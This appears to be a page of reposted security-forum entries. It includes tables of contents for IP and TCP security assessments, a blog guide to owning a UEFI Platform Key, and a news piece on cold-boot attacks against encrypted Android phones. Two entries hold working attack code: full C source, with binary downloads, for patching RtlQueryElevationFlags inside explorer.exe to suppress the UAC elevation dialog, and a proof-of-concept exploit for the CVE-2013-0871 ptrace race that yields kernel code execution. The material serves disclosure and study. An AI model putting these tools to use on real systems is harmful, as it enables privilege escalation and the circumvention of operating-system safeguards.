  9. Security Assessment of the Internet Protocol Table of Contents 1. Preface ...................................................................................................................................... 3 1 .1 Introduction ...................................................................................................................... 3 1 .2 Scope of this document ................................................................................................... 4 1 .3 Organization of this document .......................................................................................... 4 1 .4 Typographical conventions ............................................................................................... 5 1 .5 Getting the latest version of this document........................................................................ 5 1 .6 Advice and guidance to vendors....................................................................................... 5 1 .5 Acknowledgements .......................................................................................................... 5 2. The Internet Protocol ............................................................................................................... 6 3. Internet Protocol header fields ............................................................................................... 7 3.1 Version.............................................................................................................................. 7 3.2 IHL (Internet Header Length)............................................................................................. 8 3.3 TOS.................................................................................................................................. 8 3.4 Total Length...................................................................................................................... 9 3.5 Identification (ID).............................................................................................................. 10 3.5.1 Some workarounds implemented by the industry......................................................... 10 3.5.2 Possible security improvements................................................................................... 11 3.6 Flags............................................................................................................................... 13 3.7 Fragment Offset.............................................................................................................. 14 3.8 Time to Live (TTL)............................................................................................................ 15 3.9 Protocol.......................................................................................................................... 19 3.10 Header Checksum........................................................................................................ 19 3.11 Source Address............................................................................................................ 19 3.12 Destination Address...................................................................................................... 20 3.13 Options......................................................................................................................... 20 3.13.1 General issues with IP options.................................................................................... 21 3.13.1.1 Processing requirements......................................................................................... 21 3.13.1.2 Processing of the options by the upper layer protocol............................................. 22 3.13.1.3 General sanity checks on IP options........................................................................ 22 3.13.2 Issues with specific options........................................................................................ 23 3.13.2.1 End of Option List (Type = 0)................................................................................... 23 3.13.2.2 No Operation (Type = 1).......................................................................................... 24 3.13.2.3 Loose Source Record Route (LSRR) (Type = 131)................................................... 24 Security Assessment of the Internet Protocol 3.13.2.4 Strict Source and Record Route (SSRR) (Type = 137).............................................. 26 3.13.2.5 Record Route (Type = 7).......................................................................................... 29 3.13.2.6 Stream Identifier (Type = 136).................................................................................. 31 3.13.2.7 Internet Timestamp (Type = 68)............................................................................... 31 3.13.2.8 Router Alert (Type = 148)......................................................................................... 34 3.13.2.9 Probe MTU (Type =11)............................................................................................ 34 3.13.2.10 Reply MTU (Type = 12).......................................................................................... 34 3.13.2.11 Traceroute (Type = 82)........................................................................................... 35 3.13.2.12 DoD Basic Security Option (Type = 130)................................................................ 35 3.13.2.13 DoD Extended Security Option (Type = 133).......................................................... 36 3.13.2.14 Commercial IP Security Option (CIPSO)................................................................. 36 3.13.2.15 Sender Directed Multi-Destination Delivery (Type = 149)........................................ 37 3.14 Differentiated Services field ........................................................................................... 37 3.15 Explicit Congestion Notification (ECN) .......................................................................... 38 4. Internet Protocol Mechanisms .............................................................................................. 40 4.1 Fragment reassembly ..................................................................................................... 40 4.1.1 Problems related with memory allocation ..................................................................... 41 4.1.2 Problems that arise from the length of the IP Identification field .................................... 42 4.1.3 Problems that arise from the complexity of the reassembly algorithm .......................... 43 4.1.4 Problems that arise from the ambiguity of the reassembly process .............................. 43 4.1.5 Problems that arise from the size of the IP fragments .................................................. 44 4.1.6 Possible security improvements .................................................................................. 45 4.2 Forwarding ..................................................................................................................... 49 4.2.1 Precedence-ordered queue service ............................................................................. 49 4.2.2 Weak Type of Service .................................................................................................. 50 4.2.3 Address Resolution ..................................................................................................... 51 4.2.4 Dropping packets ........................................................................................................ 51 4.3 Addressing ..................................................................................................................... 52 4.3.1 Unreachable addresses ............................................................................................... 52 4.3.2 Private address space ................................................................................................. 52 4.3.3 Class D addresses (224/4 address block) .................................................................... 52 4.3.4 Class E addresses (240/4 address block) .................................................................... 52 4.3.5 Broadcast and multicast addresses, and connection-oriented protocols ..................... 53 4.3.6 Broadcast and network addresses .............................................................................. 53 4.3.7 Special Internet addresses .......................................................................................... 53 5. References .............................................................................................................................. 56 Download: http://www.si6networks.com/publications/InternetProtocol.pdf
  10. SECURITY ASSESSMENT OF THE TRANSMISSION CONTROL PROTOCOL (TCP) Contents 1. Preface.................................................................................................. 5 1.1. Introduction ..................................................................................................................................... 5 1.2. Scope of this document .................................................................................................................. 6 1.3. Organisation of this document........................................................................................................ 7 1.4. Typographical conventions............................................................................................................. 7 1.5 Acknowledgements ......................................................................................................................... 7 1.6. Advice and guidance to vendors .................................................................................................... 8 2. The Transmission Control Protocol................................................... 9 3. TCP header fields .............................................................................. 10 3.1. Source Port................................................................................................................................... 10 3.2. Destination port............................................................................................................................. 18 3.3. Sequence number ........................................................................................................................ 19 3.4. Acknowledgement number........................................................................................................... 20 3.5. Data Offset.................................................................................................................................... 21 3.6. Control bits.................................................................................................................................... 21 3.7. Window ......................................................................................................................................... 25 3.8. Checksum..................................................................................................................................... 26 3.9. Urgent pointer............................................................................................................................... 27 3.10. Options ....................................................................................................................................... 31 3.11. Padding....................................................................................................................................... 33 3.12. Data ............................................................................................................................................ 33 4. Common TCP options....................................................................... 34 4.1. End of Option List (Kind = 0) ........................................................................................................ 34 4.2. No Operation (Kind = 1)................................................................................................................ 34 4.3. Maximum Segment Size (Kind = 2).............................................................................................. 34 4.4. Selective Acknowledgement option.............................................................................................. 36 4.5. MD5 option (Kind=19)................................................................................................................... 38 4.6. Window scale option (Kind = 3).................................................................................................... 39 4.7. Timestamps option (Kind = 8) ...................................................................................................... 40 5. Connection-establishment mechanism........................................... 43 5.1. SYN flood...................................................................................................................................... 43 5.2. Connection forgery ....................................................................................................................... 46 5.3. Connection-flooding attack ........................................................................................................... 47 5.4. Firewall-bypassing techniques ..................................................................................................... 49 3 6. Connection-termination mechanism ............................................... 50 6.1. FIN-WAIT-2 flooding attack .......................................................................................................... 50 7. Buffer management........................................................................... 53 7.1. TCP retransmission buffer............................................................................................................ 53 7.2. TCP segment reassembly buffer .................................................................................................. 56 7.3. Automatic buffer tuning mechanisms ........................................................................................... 58 8. TCP segment reassembly algorithm ............................................... 62 8.1. Problems that arise from ambiguity in the reassembly process................................................... 62 9. TCP congestion control .................................................................... 63 9.1. Congestion control with misbehaving receivers ........................................................................... 64 9.2. Blind DupACK triggering attacks against TCP ............................................................................. 66 9.3. TCP Explicit Congestion Notification (ECN)................................................................................. 79 10. TCP API ............................................................................................ 82 10.1 Passive opens and binding sockets ............................................................................................ 82 10.2. Active opens and binding sockets .............................................................................................. 83 11. Blind in-window attacks.................................................................. 84 11.1. Blind TCP-based connection-reset attacks ................................................................................ 84 11.2. Blind data-injection attacks......................................................................................................... 90 12. Information leaking ......................................................................... 91 12.1. Remote Operating System detection via TCP/IP stack fingerprinting........................................ 91 12.2. System uptime detection ............................................................................................................ 94 13. Covert channels............................................................................... 95 14. TCP port scanning........................................................................... 96 14.1. Traditional connect() scan .......................................................................................................... 96 14.2. SYN scan.................................................................................................................................... 96 14.3. FIN, NULL, and XMAS scans..................................................................................................... 97 14.4. Maimon scan .............................................................................................................................. 98 14.5. Window scan .............................................................................................................................. 98 14.6. ACK scan.................................................................................................................................... 98 4 15. Processing of ICMP error messages by TCP.............................. 100 15.1. Internet Control Message Protocol........................................................................................... 100 15.2. Handling of ICMP error messages ........................................................................................... 101 15.3 Constraints in the possible solutions ......................................................................................... 102 15.4. General countermeasures against ICMP attacks..................................................................... 103 15.5. Blind connection-reset attack ................................................................................................... 104 15.6. Blind throughput-reduction attack............................................................................................. 107 15.7. Blind performance-degrading attack ........................................................................................ 108 16. TCP interaction with the Internet Protocol (IP) ........................... 120 16.1. TCP-based traceroute .............................................................................................................. 120 16.2. Blind TCP data injection through fragmented IP traffic ............................................................ 120 16.3. Broadcast and multicast IP addresses ..................................................................................... 121 17. References ..................................................................................... 122 Download: http://www.si6networks.com/publications/tn-03-09-security-assessment-TCP.pdf
  11. Owning your Windows 8 UEFI Platform Posted on 15 February 2013 by jejb Even if you only ever plan to run Windows or stock distributions of Linux that already have secure boot support, I’d encourage everybody who has a new UEFI secure boot platform to take ownership of it. The way you do this is by installing your own Platform Key. Once you have done this, you can use key database maintenance tools like keytool to edit all the keys on the Platform and move the platform programmatically from Setup Mode to User Mode and back again. This blog post describes how you go about doing this. First Save the Variables The first thing to do is to install and run KeyTool either directly (the platform must have secure boot turned off, because keytool is unsigned) or via the mini USB image and save all the current secure variable keys (select the ‘Save Keys’ option from the top level menu). This will save the contents of each variable as a single esl (EFI Signature List) file, so you should end up with three files: PK.esl, KEK.esl and db.esl. These files can later be used to restore the contents if something goes wrong in the updates (and because some platforms put you into setup mode by erasing the contents of all the secure variables), so save them in a safe place. Use the UEFI Menus to remove the Platform Key This is the step that it’s impossible to be precise about. Every UEFI platform seems to be different in how you do this. The Linux Foundation hosts a web page collecting the information but so far it only has the Intel Tunnel Mountain system on it, but if you work it out for your platform, leave me a comment describing what you did and I’ll add it to the LF page. The most common way to get a UEFI system to display the UEFI menus is to press ESC as it boots up. Create your own Platform Key If you rpm installed efitools, it will automatically have created a Platform Key for you in /usr/share/efitools/keys, plus all of the PK.auth and noPK.auth files. A platform key may be self signed, but doesn’t have to be (I’m using one signed with my root certificate). However, assuming you want to create a self-signed platform key manually, here are the steps: The standard command for doing this with openssl is openssl req -new -x509 -newkey rsa:2048 -subj “/CN=<my CN text>/” -keyout PK.key -out PK.crt -days 3650 -nodes -sha256 None of the parameters for the key (Like the Common Name) matters, so you can replace <my CN text> with anything you like (mine says ‘James Bottomley Platform Key 2013?) you can also add other X509 well known objects like your address. Once you have the two files PK.crt and PK.key, you need to save them in a safe location (PK.key is the one to guard since it’s your private key). Next, create an EFI Signature List file with the public key in (this and the next steps require that you have either installed the efitools rpm or compiled the unix commands from efitools.git and installed them on your system) cert-to-efi-sig-list -g <my random guid> PK.crt PK.esl where <my random guid> is any random GUID you choose. You also need to create an empty noPK.esl file which can be used to remove the platform key again > noPK.esl (do an ls -l on it to make sure it has zero size). Now you create the signed update files (called .auth files) sign-efi-sig-list -k PK.key -c PK.crt PK PK.esl PK.auth sign-efi-sig-list -k PK.key -c PK.crt PK noPK.esl noPK.auth copy the two .auth files to your USB key and you should now be able to use KeyTool to insert them into where the platform key is. Go to ‘Edit Keys’, select the ‘The Platform Key (PK)’ and then ‘Replace Keys(s)’. Navigate the file Chooser to your PK.auth file and you now are the platform Owner. Press ESC to go to the top level menu and it should tell you the platform is in User Mode and Secure Boot is enabled. Now verify you can move back to Setup Mode by going to ‘Edit Keys’, ‘The Platform Key (PK)’ and this time selecting the first entry (showing the GUID you chose for your platform key) and then ‘Delete with .auth file’. This time navigate to noPK.auth and select it. The platform key should now be gone and when you ESC to the top menu it will tell you you are in Setup Mode. You now own your own platform and can move easily between setup and user modes. Replace or Edit the rest of the Keys Now you own your own platform, restoring or replacing the current platform keys is easy. Where you saved the original keys, you should have a KEK.esl and a db.esl file. If you find that KEK and db are blank, you can restore them with this file, simply place the platform into Setup Mode, go to ‘Edit Keys’, ‘The Key Exchange Key Database (KEK)’ and ‘Replace Key(s)’ and finally navigate to the KEK.esl file you saved. You can also do the same thing with db.esl Now your platform should be back to its original condition except that you own the Platform Key and can decide easily to flip it into Setup Mode. Once in setup mode, you can edit the actual keys. One thing you can do is create your own signature key (using the method above for PK) and place it into db. You could also (assuming you never plan to boot windows) delete all the microsoft keys from the system. Beware if you decide to do this that some of your UEFI drivers may be signed by microsoft keys, and removing them all may limit the functionality of your UEFI platform. Additionally, any UEFI update to your system is also likely to come signed with the microsoft keys, however, in this case you can put the Microsoft keys back before doing the update. If pieces of your UEFI system do need to be signed, it might be possible to extract them and sign them with your key instead of Microsoft’s, but I haven’t yet found a system that needs this, so I don’t really have much of an idea how to do it. Remember to move your platform back to User Mode to enable secure boot before you exit KeyTool. Sursa: Owning your Windows 8 UEFI Platform | James Bottomley's random Pages
  12. [h=1]Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer[/h]By: [h=3]rohitab[/h]This post describes a method to run programs like regedit.exe without displaying the UAC elevation dialog. When you run a program using Windows Explorer, it calls CreateProcess, which in turn calls CreateProcessInternal. On operating systems with UAC, CreateProcessInternal calls RtlQueryElevationFlags to determine if the UAC elevation dialog should be displayed. Here is a screenshot from API Monitor showing the callstack for RtlQueryElevationFlags RtlQueryElevationFlags returns flags indicating the state of UAC. The following flags are supported: #define ELEVATION_UAC_ENABLED 0x01 #define ELEVATION_VIRTUALIZATION_ENABLED 0x02 #define ELEVATION_INSTALLER_DETECTION_ENABLED 0x04 See UnDoc'd for documentation on this undocumented API. Here is a disassembly of RtlQueryElevationFlags on Windows 7 x64 RtlQueryElevationFlags: 000000007700B850 C7 01 00 00 00 00 mov dword ptr [rcx], 0 000000007700B856 F6 04 25 F0 02 FE 7F 02 test byte ptr [7FFE02F0h],2 000000007700B85E 74 06 je RtlQueryElevationFlags+16h (7700B866h) 000000007700B860 C7 01 01 00 00 00 mov dword ptr [rcx],1 ; ELEVATION_UAC_ENABLED 000000007700B866 F6 04 25 F0 02 FE 7F 04 test byte ptr [7FFE02F0h],4 000000007700B86E 74 03 je RtlQueryElevationFlags+23h (7700B873h) 000000007700B870 83 09 02 or dword ptr [rcx],2 ; ELEVATION_VIRTUALIZATION_ENABLED 000000007700B873 F6 04 25 F0 02 FE 7F 08 test byte ptr [7FFE02F0h],8 000000007700B87B 74 03 je RtlQueryElevationFlags+30h (7700B880h) 000000007700B87D 83 09 04 or dword ptr [rcx],4 ; ELEVATION_INSTALLER_DETECTION_ENABLED 000000007700B880 33 C0 xor eax,eax 000000007700B882 C3 ret The API reads the value at 7FFE02F0h and sets flags indicating UAC state. In order to disable the UAC elevation dialog, the API needs to be modified so that it does not set any flags. There are multiple ways to do it such as re-routing the API using hotpatching, injecting a DLL, modifying the memory location 7FFE02F0h etc. Since we only need to modify a couple of values, its easier to just patch the API in place. The sample code shown below opens Windows Explorer (explorer.exe), and patches RtlQueryElevationFlags in ntdll.dll. Once patched, the API always returns 0 for the flags regardless of the UAC state. Any processes that are executed after this, will run without displaying the UAC elevation dialog. The code, if run again, will unpatch the API to its original state and restore UAC elevation check. Binaries for both 32-bit and 64-bit are attached to this post. // UAC Elevation Enable/Disable // Copyright © 2011, Rohitab Batra // All rights reserved. #include <tchar.h> #include <stdio.h> #include <Windows.h> #include <TlHelp32.h> // Bytes to patch and offsets for comparison #ifdef _WIN64 #define PATCH_BYTE_1 18 #define PATCH_BYTE_2 34 #define PATCH_BYTE_3 47 #define COMPARE_OFFSET_1 9 #define COMPARE_OFFSET_2 25 #define COMPARE_OFFSET_3 38 #define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1) #define BUFFER_SIZE 48 #else #define PATCH_BYTE_1 22 #define PATCH_BYTE_2 37 #define PATCH_BYTE_3 49 #define COMPARE_OFFSET_1 13 #define COMPARE_OFFSET_2 28 #define COMPARE_OFFSET_3 40 #define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1) #define BUFFER_SIZE 52 #endif DWORD GetExplorerProcessId() { DWORD dwProcessId = 0; HANDLE hProcessSnap; PROCESSENTRY32 pe32; // Create snapshot of running processes hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE) { return 0; } // Iterate through the list to find explorer.exe pe32.dwSize = sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap, &pe32)) { do { if(!_tcsicmp(pe32.szExeFile, _T("explorer.exe"))) { dwProcessId = pe32.th32ProcessID; break; } } while(Process32Next(hProcessSnap, &pe32)); } CloseHandle(hProcessSnap); return dwProcessId; } HMODULE GetNtDllModuleHandle(IN DWORD dwProcessId) { HMODULE hModule = NULL; MODULEENTRY32W me32; // Create a snapshot of modules in the process HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId); if(hModuleSnap == INVALID_HANDLE_VALUE) { _tprintf(_T("ERROR: Failed to retrieve module list.\n\tMake sure you run the 64-bit version on a 64-bit OS.\n")); return FALSE; } // Iterate through the list to find ntdll.dll me32.dwSize = sizeof(me32); if(Module32First(hModuleSnap, &me32)) { do { if(!_tcsicmp(me32.szModule, _T("ntdll.dll"))) { hModule = me32.hModule; break; } } while(Module32Next(hModuleSnap, &me32)); } CloseHandle(hModuleSnap); return hModule; } UINT_PTR GetRtlQueryElevationFlagsRva() { HMODULE hModule = GetModuleHandle(_T("ntdll.dll")); if(!hModule) { return 0; } FARPROC fpFunction = GetProcAddress(hModule, "RtlQueryElevationFlags"); if(!fpFunction) { _tprintf(_T("ERROR: RtlQueryElevationFlags is only available on Windows Vista and later\n")); return 0; } return (UINT_PTR)fpFunction - (UINT_PTR)hModule; } VOID UacElevationDisable(IN DWORD dwProcessId, IN HMODULE hNtDll) { // Get the RVA for RtlQueryElevationFlags UINT_PTR uRtlQueryElevationFlagsRva = GetRtlQueryElevationFlagsRva(); if(!uRtlQueryElevationFlagsRva) { return; } // Open process with permissions to perform virtual memory operations HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwProcessId); if(!hProcess) { _tprintf(_T("ERROR %u: Cannot open process\n"), GetLastError()); return; } __try { BYTE rgbyBuffer[BUFFER_SIZE]; SIZE_T sizeNumberOfBytesTransfered; LPVOID lpvApiAddress = (LPVOID)((UINT_PTR)hNtDll + uRtlQueryElevationFlagsRva); // Read data in from the start of RtlQueryElevationFlags if(!ReadProcessMemory(hProcess, lpvApiAddress, rgbyBuffer, sizeof(rgbyBuffer), &sizeNumberOfBytesTransfered) || sizeNumberOfBytesTransfered != sizeof(rgbyBuffer)) { _tprintf(_T("ERROR %u: Cannot read memory\n"), GetLastError()); __leave; } // Compare data to make sure it matches what we expect if(*(PUINT64)(rgbyBuffer + COMPARE_OFFSET_1) != 0xC70674027FFE02F0 || *(PUINT64)(rgbyBuffer + COMPARE_OFFSET_2) != 0x830374047FFE02F0 || *(PUINT64)(rgbyBuffer + COMPARE_OFFSET_3) != 0x830374087FFE02F0) { _tprintf(_T("ERROR: Data Mismatch. Cannot Patch API\n"), GetLastError()); __leave; } // Check the current state if(rgbyBuffer[PATCH_BYTE_1] == 0x01 && rgbyBuffer[PATCH_BYTE_2] == 0x02 && rgbyBuffer[PATCH_BYTE_3] == 0x04) { _tprintf(_T("UAC Elevation Check is ON. Turning OFF\n")); } else if(rgbyBuffer[PATCH_BYTE_1] == 0x00 && rgbyBuffer[PATCH_BYTE_2] == 0x00 && rgbyBuffer[PATCH_BYTE_3] == 0x00) { _tprintf(_T("UAC Elevation Check is OFF. Turning ON\n")); } else { _tprintf(_T("UAC Elevation Check is UNKNOWN\n")); __leave; } // Patch bytes rgbyBuffer[PATCH_BYTE_1] ^= 0x01; rgbyBuffer[PATCH_BYTE_2] ^= 0x02; rgbyBuffer[PATCH_BYTE_3] ^= 0x04; LPVOID lpvPatchStartAddress = (LPVOID)((UINT_PTR)lpvApiAddress + PATCH_BYTE_1); // Write patched data back if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) && sizeNumberOfBytesTransfered == PATCH_SIZE) { __leave; } // Failed to write; unprotect the memory and retry BOOL bSuccess = FALSE; DWORD dwOldProtect; if(VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect)) { // Retry writing patched data if(WriteProcessMemory(hProcess, lpvPatchStartAddress, rgbyBuffer + PATCH_BYTE_1, PATCH_SIZE, &sizeNumberOfBytesTransfered) && sizeNumberOfBytesTransfered == PATCH_SIZE) { bSuccess = TRUE; } VirtualProtectEx(hProcess, lpvPatchStartAddress, PATCH_SIZE, dwOldProtect, &dwOldProtect); } if(!bSuccess) { _tprintf(_T("ERROR: Cannot write memory\n")); } } __finally { CloseHandle(hProcess); } } int _tmain(int argc, _TCHAR* argv[]) { _tprintf(_T("UAC Elevation Enable/Disable\n© 2011 Rohitab Batra\nAll rights reserved.\nhttp://www.rohitab.com\n\n")); __try { DWORD dwExplorerProcessId = GetExplorerProcessId(); if(!dwExplorerProcessId) { _tprintf(_T("ERROR: Cannot find explorer.exe in the list of running processes\n")); __leave; } HMODULE hExplorerNtDll = GetNtDllModuleHandle(dwExplorerProcessId); if(!hExplorerNtDll) { _tprintf(_T("ERROR: Cannot find ntdll.dll in the explorer.exe\n")); __leave; } UacElevationDisable(dwExplorerProcessId, hExplorerNtDll); } __finally { } _tprintf(_T("Press ENTER to exit")); getchar(); return 0; } A quicker way to test this, without using the above code, is through API Monitor. Launch API Monitor, set a post-call breakpoint on RtlQueryElevationFlags and monitor explorer.exe. Now, run a process that requires elevation, such as regedit.exe. API Monitor will display the breakpoint dialog as shown below. Set the value at address pFlags to 0 and hit continue. This will run regedit.exe without the UAC elevation dialog. Download (x86 & x64): http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3332 http://www.rohitab.com/discuss/index.php?app=core&module=attach&section=attach&attach_id=3333 Sursa: Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer - rohitab.com - Forums
  13. Boffins FREEZE PHONES to crack Android on-device crypto Security breach could have chilling effect By Neil McAllister in San Francisco • Get more from this author Computer scientists at the Friedrich-Alexander University of Erlangen-Nuremberg, Germany (FAU) have demonstrated that it is possible for unauthorized parties to recover data from encrypted Android smartphones using cold boot attacks. And when they say cold, they mean it – below 10°C, to be precise. Android has included built-in full disk encryption since version 4.0, aka "Ice Cream Sandwich". It comes switched off by default, but once activated it permanently scrambles the device's storage such that it cannot be accessed without entering the correct PIN or password. Or so it would seem. But according to a research paper by Tilo Müller, Michael Spreitzenbarth, and Felix Freiling of FAU, cold boot attacks can allow hackers to extract some or all of the data from Android devices, even with encryption enabled. Technically speaking, cold boot attacks are so called because they involve cold booting a device, meaning you cycle the power without allowing the operating system to shut down properly. Put simply, you pull the plug. We've all been taught that when you cut the power to a device, the contents of its memory are lost. In truth, however, that doesn't happen instantly. RAM chips exhibit a property called remanence, which means their contents fade over time, rather than disappearing all at once. If you can access the memory before it fades completely, it's possible to reconstruct the data that was there before the lights went out. Going ... going ... gone! Once the power's cut, the contents of RAM fade with each passing second (source: FAU) Naturally, you have to move fast. You probably have no more than a few seconds to extract the data. But one peculiar thing about the remanence effect is that the contents of RAM fade more slowly at lower temperatures. The colder the chips, the longer their memory – meaning cold boot attacks really do work better at colder temperatures. Doubtless you can see where this is going. That's right – the key to cracking the encryption on an Android phone is to stick it in the freezer awhile. An hour in cold storage and your captive will be ready to tell you everything (source: FAU) How to hack a frozen phone To demonstrate their method, Müller & Co used a Samsung Galaxy Nexus handset. They chose that model because it was one of the first devices to ship with Android 4.0, and because it runs on a stock Android experience, with no modifications from the manufacturer to complicate things. A full, step-by-step walkthrough of their process, complete with photos, is available on their website. In a nutshell, however, it involves abruptly powering down the device by pulling its battery, then booting it using a custom-built Android recovery image called FROST – short for "Forensic Recovery of Scrambled Telephones" – designed to extract encrypted data from RAM using a variety of methods. The team first made sure the phone was switched on and had a healthy charge in its battery. Then it was time for the freezer. They found they got their best results by allowing the device to cool to below 10°C, which took about an hour. (As expected, higher temperatures yielded less reliable results.) Once the phone was sufficiently chilled, they jiggled the battery and popped it out as briefly as they could to shut down the device. Then they immediately rebooted while holding down the combination of buttons that puts the device into "fastboot" mode. Once the device was in this mode, the researchers could use a PC to load their custom FROST module into its recovery partition. After that, one more reboot and the mischief was ready to begin. FROST provides a GUI menu offering several ways to extract data (click to enlarge) FROST can be used to extract data from encrypted phones in three main ways. The first is to search the device's RAM for AES encryption keys; recover they keys and it's possible to decrypt all of the data on the device. The second method is to use a brute-force attack to guess the user's PIN, which can also be used to crack the encryption. Brute-force attacks normally aren't the most efficient way to bypass a security mechanism, but the FAU researchers note that many smartphone owners use weak PINs. Finally, if the other two methods don't yield any results, FROST can also download a full image of the device's memory to a PC, which can then be used to conduct further attacks using additional tools. In practice, Müller's team was able to successfully extract a variety of data from encrypted smartphones using these techniques, including photos, recently visited websites, emails and Whatsapp messages, contact lists, calendar entries, and Wi-Fi credentials. Müller and his team have made all of the source code to the FROST module available on their website, along with a precompiled binary that anyone can experiment with. If giving away such a potentially dangerous tool seems rash, however, the researchers are quick to point out that similar methods of bypassing encryption have been understood for years. What's significant is that Android's implementation of on-device encryption is vulnerable to these known techniques, which means additional countermeasures will need to be developed to more fully harden the OS. In the meantime, the researchers plan to continue to experiment with their methods, with the aim of bringing them to bear on Android devices other than the Galaxy Nexus. Their next planned target? Google's Nexus 7 fondleslab. Does anybody need anything from the fridge? ® Sursa: Boffins FREEZE PHONES to crack Android on-device crypto • The Register
  14. Linux Kernel race condition with PTRACE_SETREGS (CVE-2013-0871) Linux kernel stack corruption due to race condition with PTRACE_SETREGS ----------------------------------------------------------------------- A race conditon in ptrace can lead to kernel stack corruption and arbitrary kernel-mode code execution. This should be tracked as CVE-2013-0871. Solution ------------ The following commits from Oleg Nesterov should address the issue: - 910ffdb18a6408e14febbb6e4b6840fd2c928c82 - 9899d11f654474d2d54ea52ceaa2a1f4db3abd68 - 9067ac85d533651b98c2ff903182a20cbb361fcb Credit --------- This was discovered by Suleiman Souhlal and Salman Qazi of Google, with help from Aaron Durbin and Michael Davidson, also of Google. Code -------- Salman Qazi provided the following PoC code: Kernel patch for easy reproduction: diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c index b629bbe..e22617e 100644 --- a/arch/x86/kernel/ptrace.c +++ b/arch/x86/kernel/ptrace.c @@ -24,6 +24,7 @@ #include <linux/rcupdate.h> #include <linux/module.h> #include <linux/context_tracking.h> +#include <linux/delay.h> #include <asm/uaccess.h> #include <asm/pgtable.h> @@ -902,6 +903,12 @@ long arch_ptrace(struct task_struct *child, long request, datap); case PTRACE_SETREGS: /* Set all gp regs in the child. */ + if (!strcmp(current->comm, "ptrace_death")) { + int i; + WARN_ON_ONCE(1); + for (i = 0 ; i < 15; i++) + mdelay(10); + } return copy_regset_from_user(child, task_user_regset_view(current), REGSET_GENERAL, source code for ptrace_death: /* * Repro case for SETREGS arbitrary ring zero execution bug. * * The specific scenario that we attempt to create: * * V does a syscall. It is being traced by P. P * upon stopping V with PTRACE_SYSCALL and waiting for it, proceeds * to read its registers. At this time P is asleep and an RT process S * starts running. * * Then P proceeds to write V's registers, at shortly it has done this * another process K kills V. Process S goes to sleep permitting V * space to run. V wakes up from its waiting state and heads for the exit. * But, S quickly wakes up again by the time V has reached schedule(). V * is no longer running (since S has the CPU) * and P modifies its regs. When V finally starts running * and returns from schedule(), it pops an incorrect value from the * stack. The reason is that the stack on which schedule() is called * does not have the final 6 registers in pt_regs on it. That means that * when P modifies V's registers, it is actually overwriting the stack * frame saved for schedule(), including the return RIP. * * V and S and pinned to CPU 0. S is an RT task so that it can control * when V does and doesn't run. * remaining processes are not allowed on 0. * */ #include <sched.h> #include <sys/ptrace.h> #include <sys/user.h> #include <stdlib.h> #include <stdio.h> #include <assert.h> #include <signal.h> /* S */ int nuke_cpu(void) { int pid0; int i; unsigned long mask = 1; pid0 = fork(); if (!pid0) { struct sched_param p = {}; p.sched_priority = sched_get_priority_min(SCHED_FIFO); assert(!sched_setscheduler(0, SCHED_FIFO, &p)); assert(!sched_setaffinity(0, sizeof(mask), &mask)); i = 0; usleep(120000); while(1) { if (i == 50000) { usleep(10); printf("x"); fflush(stdout); } i++; } } return pid0; } int once() { long i; int pid0; int pid; unsigned long mask = 1; struct user_regs_struct regs; assert(!sched_setaffinity(0, sizeof(mask), &mask)); pid = fork(); if (!pid) { /* V */ while (1) { /* Put our chosen RIP in callee saved registers */ asm __volatile__ ( "mov $0x1eadbeef, %%rbx\n" "mov $0x1eadbeef, %%rbp\n" "mov $0x1eadbeef, %%r12\n" "mov $0x1eadbeef, %%r13\n" "mov $0x1eadbeef, %%r14\n" "mov $0x1eadbeef, %%r15\n" "mov $0, %%rsi\n" "mov $0, %%rdi\n" "mov $0x6d, %%rax\n" "syscall":::"rax","rsi","rdi", "r12", "rbx"); } } else { /* P */ assert(!ptrace(PTRACE_ATTACH, pid, 0, 0)); wait(NULL); assert(!ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESYSGOOD | PTRACE_O_TRACEFORK | PTRACE_O_TRACEVFORK | PTRACE_O_TRACECLONE)); while(1) { int nuke_pid; int pid2; mask = 0xfffe; assert(!sched_setaffinity(0, sizeof(mask), &mask)); /*Entry */ assert(!ptrace(PTRACE_SYSCALL, pid, NULL, 0, 0)); wait(NULL); assert(!ptrace(PTRACE_GETREGS, pid, NULL, &regs)); nuke_pid = nuke_cpu(); regs.orig_rax = 0x3c; pid2 = fork(); if (!pid2) { /* K */ usleep(120000); kill(pid, SIGKILL); printf("."); fflush(stdout); exit(0); } printf("{"); fflush(stdout); if (!ptrace(PTRACE_SETREGS, pid, NULL, &regs)) { printf("+"); } else { printf("-"); } ptrace(PTRACE_CONT, pid, NULL, 0, SIGKILL); kill(pid, SIGKILL); kill(pid2, SIGKILL); kill(nuke_pid, SIGKILL); exit(0); } } } int main(void) { while (1) { int pid = fork(); if (!pid) { once(); } wait(NULL); } } [img=http://cxsecurity.com/images/paski/pasek9.png] [B]References:[/B] [COLOR=#292929]http://seclists.org/oss-sec/2013/q1/326 [/COLOR] Sursa: Linux Kernel race condition with PTRACE_SETREGS (CVE-2013-0871) - CXSecurity.com
